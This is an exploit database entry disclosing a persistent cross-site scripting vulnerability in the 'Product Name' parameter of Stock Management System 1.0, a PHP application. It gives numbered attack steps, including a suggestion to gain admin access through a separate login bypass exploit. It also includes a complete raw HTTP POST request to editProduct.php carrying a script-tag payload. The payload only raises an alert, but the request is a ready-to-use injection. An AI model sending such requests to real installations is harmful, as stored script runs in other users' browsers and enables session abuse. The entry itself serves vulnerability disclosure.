Stock Management System 1.0 - 'Product Name' Persistent Cross-Site Scripting

EDB-ID:

48924

CVE:

N/A




Platform:

PHP

Date:

2020-10-21


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

# Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Product Name)
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 2, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4


# Vulnerability Details
# Description A persistent cross-site scripting vulnerability exists within the 'Product Name' parameter in the Edit Product function.
# This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Product Name value expected.

#Steps:

	1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)

	2. Click "Product"

	3. Click "Action" in any categories name row

	4. Click Edit, then Product Info (tab)

	5. In "Product Name" field enter XSS <script>alert("XSS")</script>

	6. Click save changes

	7. Any page on the webapp expecting that 'Product Name' will trigger the XSS.



POST /stock/php_action/editProduct.php HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/product.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------147762840819880874581057152477
Content-Length: 938
DNT: 1
Connection: close
Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8


-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editProductName"


<script>alert("hyd3sec")</script>
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editQuantity"


9
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editRate"



1200
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editBrandName"


12
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editCategoryName"



7
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="editProductStatus"



1
-----------------------------147762840819880874581057152477
Content-Disposition: form-data; name="productId"


8
-----------------------------147762840819880874581057152477--